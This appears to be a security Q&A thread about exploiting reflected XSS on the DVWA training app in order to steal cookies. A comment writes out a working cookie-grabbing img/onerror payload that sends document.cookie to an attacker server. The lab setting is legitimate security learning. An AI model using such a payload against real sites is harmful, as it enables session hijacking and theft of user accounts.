I'm trying to exploit a XSS Reflected vulnerability on DVWA, in order to steal cookies. Currently I managed to craft the following payload into an HTTP request that will redirect the victim to load and execute a php file cookie.php.

The following payload, if entered on search box will load a php file.


Therefore, I would like to embed this payload on a malicious page (that the victim will access). This is what the malicious page looks like.

When this malicious page is loaded by the user, a php file should be loaded in order to steal the cookie from the victim and then write it to a file. This is not happening despite of the fact that the payload is successfully echoed back to the victim's browser. I check this by printing the HTTP response and I looked for my payload. Here's a proof of concept. So despite of the payload was successfully delivered to the victim's browser the php file was not loaded.

This exploit will work if I load cookie.php manually on browser or if I feed it to the search box directly on the vulnerable webserver, but this is cheating. So my first question is: Why php file is not loading if payload was successfully echoed back?

My second question is: suppose that I want to make this in a real lab scenario where I have two machines on the same virtual network. is running web server and has the cookie grabber. Will the malicious page work if I only change the IP addresses? I mean...instead of localhost on port 81 change it to IP on port 81?

I kinda know that this probably would not work because if I do this:


It will not have a cookie assigned to it because this "question" is not addressed to my browser session but is instead to the server's IP.

Clearly, you can see that I'm almost there (and maybe a little lost) but I really can use some feedback on this. What do you think about it?

  • 1
    is cookie.php hosted on the same exact ip and port as DVWA? If not, the cookie won't be sent on the redirect. Its easier to embed this in the xss . <img src=x onerror=this.src='yourserver/?c='+document.cookie> . This will grab the cookies, send it as a parameter to your evil server. Then your evil server can write it to a file. Then you don't have to rely on your executable script to be on the same ip:port as the vulnerable app. This is a more realistic scenario.
    – joe
    Nov 13, 2017 at 6:05
  • Where is cookie.php hosted? Is it hosted as DVWA? Then why are you using localhost? This will point to the users (victims) localhost, not the server.
    – Anders
    Nov 13, 2017 at 15:08
  • @joe yes, cookie.php (which is the grabber) is on the same IP and port as DVWA. Your suggestion is possible to do on a malicious page? I tried to embed your suggestion on my malicious page, but still, the payload doesn't execute.
    – fish202
    Nov 13, 2017 at 16:22
  • @Anders cookie.php is hosted on the same domain as DVWA. localhost on port 81
    – fish202
    Nov 13, 2017 at 16:23
  • @Anders I was using localhost in order to test it on my machine. That's why. Then I loaded the page from another machine and changed localhost to IP's server on the HTTP request.
    – fish202
    Nov 13, 2017 at 17:07

1 Answer 1


Actually i am facing the same error when i was doing. And that time i came to know about the local hosting have some limitations. We can not directly send data between to machine that are locally. So if you try to use the remote hosting that will work And one more thing is that your POC link is expired.

Here i am putting the link of my POC: https://youtu.be/H4AXL4K_hw8

I hope this will help you:)

Thanking you..

  • Thanks for your nice feedback. I tried to do it remotely and things worked just fine too. It looks like there are some limitations indeed. Anyway...It's working now. Cheers friend
    – fish202
    Dec 1, 2017 at 0:42

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .